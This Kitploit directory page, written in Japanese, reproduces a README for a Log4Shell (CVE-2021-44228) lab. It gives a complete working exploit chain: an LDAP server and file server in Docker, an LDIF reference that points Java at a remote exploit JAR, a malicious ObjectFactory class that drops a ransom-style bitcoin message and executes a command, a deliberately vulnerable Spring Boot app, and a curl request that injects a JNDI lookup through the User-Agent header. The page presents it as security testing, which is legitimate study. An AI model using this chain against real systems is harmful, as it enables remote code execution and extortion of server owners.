Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2021-44228-log4j-test — LDAPサーバー、悪意のあるJNDIペイロード、脆弱なSpring Bootアプリケーションを使用してLog4Shell(CVE-2021-44228)の悪用を示し、セキュリティテストに使用します。 | Kitploit
ツール/GitHubGitHub/bumheehan/cve-2021-44228-log4j-test
脆弱性分析エクスプロイトウェブアプリケーション悪用マルウェア分析学習と教育ペイロード開発
GitHubbumheehan/cve-2021-44228-log4j-test

cve-2021-44228-log4j-test

LDAPサーバー、悪意のあるJNDIペイロード、脆弱なSpring Bootアプリケーションを使用してLog4Shell(CVE-2021-44228)の悪用を示し、セキュリティテストに使用します。

リポジトリを見る
14年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

cve-2021-44228-log4j-test

テスト

1. LDAPサーバーとハッキングファイルダウンロードサーバー

1.1 Docker-composeの実行

  • docker-compose.yml

    root@kitploit:~
    version: '2'
    services:
      dockerdj:
        image: openidentityplatform/opendj:latest
        container_name: ldap
        environment:
          ROOT_USER_DN: "cn=han"
          ROOT_PASSWORD: "han"
          BASE_DN: "dc=bumbing,dc=xyz"
        ports:
          - "389:1389"
          - "636:1636"
          - "4444:4444"
        volumes:
          - "./opendj/logs:/opt/opendj/data/logs"
      nginx:
        image: nginx:latest
        container_name: nginx
        ports:
          - "7080:80"
        volumes:
          - "./file:/usr/share/nginx/html:ro"
          - "./conf/nginx.conf:/etc/nginx/nginx.conf"
    
  • docker-composeの実行

    root@kitploit:~
    docker-compose up -d
    

1.2. Ldifの追加

  • add.ldif

    root@kitploit:~
    version: 1
    
    dn: dc=bumbing,dc=xyz
    objectClass: domain
    objectClass: top
    dc: bumbing
    
    dn: cn=log4j,dc=bumbing,dc=xyz
    objectClass: javaContainer
    objectClass: javaNamingReference
    objectClass: javaObject
    objectClass: top
    cn: class
    javaClassName: xyz.bumbing.log4j.Exploit
    javaCodebase: http://{fileServer}:7080/exploit-1.jar
    javaFactory: xyz.bumbing.log4j.Exploit
    
  • ハッキングファイル情報が含まれるEntryを追加するコマンド

    root@kitploit:~
    ldapadd -D "cn=han" -w han -H ldap://{ldapServer} -f add.ldif
    
  • ldapテスト(パラメータの順序が重要)

    root@kitploit:~
    curl ldap://{ldapServer}/cn=log4j,dc=bumbing,dc=xyz
    

2. 悪意のあるファイル

  • 脆弱性はJava 8u191より前のバージョンで発見されたため、Java 8でビルドします

2.1 悪意のあるファイルのビルド

  • 悪意のあるコード(他の悪意のあるファイルをダウンロードするコマンドを追加できます)

    root@kitploit:~
    	public class Exploit implements javax.naming.spi.ObjectFactory{
            @Override
            public Object getObjectInstance(Object o, Name name, Context context, Hashtable<?, ?> hashtable) throws Exception {
        
                try {
                    new File("/Users//test").createNewFile();
                    String msg = "your computer has our virus. if you want to recover your computer, send bitcoin our wallet";
                    FileOutputStream fileOutputSteam = new FileOutputStream(new File("/Users/hanbeomhee/test"));
                    StringBuilder sb = new StringBuilder();
                    sb.append(o.toString()).append("\n");
                    sb.append(name).append("\n");
                    sb.append(msg);
                    fileOutputSteam.write(sb.toString().getBytes(StandardCharsets.UTF_8));
                    fileOutputSteam.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
    						Runtime.getRuntime().exec("open /Users//test");
                return null;
            }
        
        }
    
  • ビルドコマンド

    root@kitploit:~
    ./gradlew clean build
    
  • ローカルサーバーでない場合は、exploit-1.jarファイルをファイルサーバーのdocker/fileフォルダーにアップロードします

  • http://{fileServer}:7080/exploit-1.jar のダウンロードを確認します

3. 脆弱性サーバーの起動

  • Gradle構造

    root@kitploit:~
    plugins {
        	id 'org.springframework.boot' version '2.6.1'
        	id 'io.spring.dependency-management' version '1.0.11.RELEASE'
        	id 'java'
        }
        
        group = 'xyz.bumbing'
        version = '0.0.1-SNAPSHOT'
        sourceCompatibility = '8'
        
        configurations {
        	compileOnly {
        		extendsFrom annotationProcessor
        	}
        }
        
        repositories {
        	mavenCentral()
        }
        
        dependencies {
        	implementation 'org.springframework.boot:spring-boot-starter-web'
        	compileOnly 'org.projectlombok:lombok'
        	annotationProcessor 'org.projectlombok:lombok'
        	testImplementation 'org.springframework.boot:spring-boot-starter-test'
        	implementation "org.springframework.boot:spring-boot-starter-log4j2"
        	modules {
        		module("org.springframework.boot:spring-boot-starter-logging") {
        			replacedBy("org.springframework.boot:spring-boot-starter-log4j2", "Use Log4j2 instead of Logback")
        		}
        	}
        }
        
        test {
        	useJUnitPlatform()
        }
    
    • dependencyでlog4jバージョン14.1を確認
  • サーバーコード

    root@kitploit:~
    @SpringBootApplication
    @RestController
    @Slf4j
    public class Log4jtestApplication {
    
    	public static void main(String[] args) {
    		SpringApplication.run(Log4jtestApplication.class, args);
    	}
    
    	@GetMapping("/log4j")
    	public void test(String param, HttpServletRequest request){
    		log.info(request.getHeader("User-Agent"));
    	}
    }
    
  • 実行コマンド(8u191以前のバージョンでビルドおよび実行する必要があります)

    root@kitploit:~
    java -jar build/libs/log4jtest-0.0.1-SNAPSHOT.jar
    

4. 実行

4.1 実行

root@kitploit:~
curl --location --request GET 'localhost:8080/log4j' \
--header 'User-Agent: ${jndi:ldap://localhost/cn=log4j,dc=bumbing,dc=xyz}'
ツールをダウンロード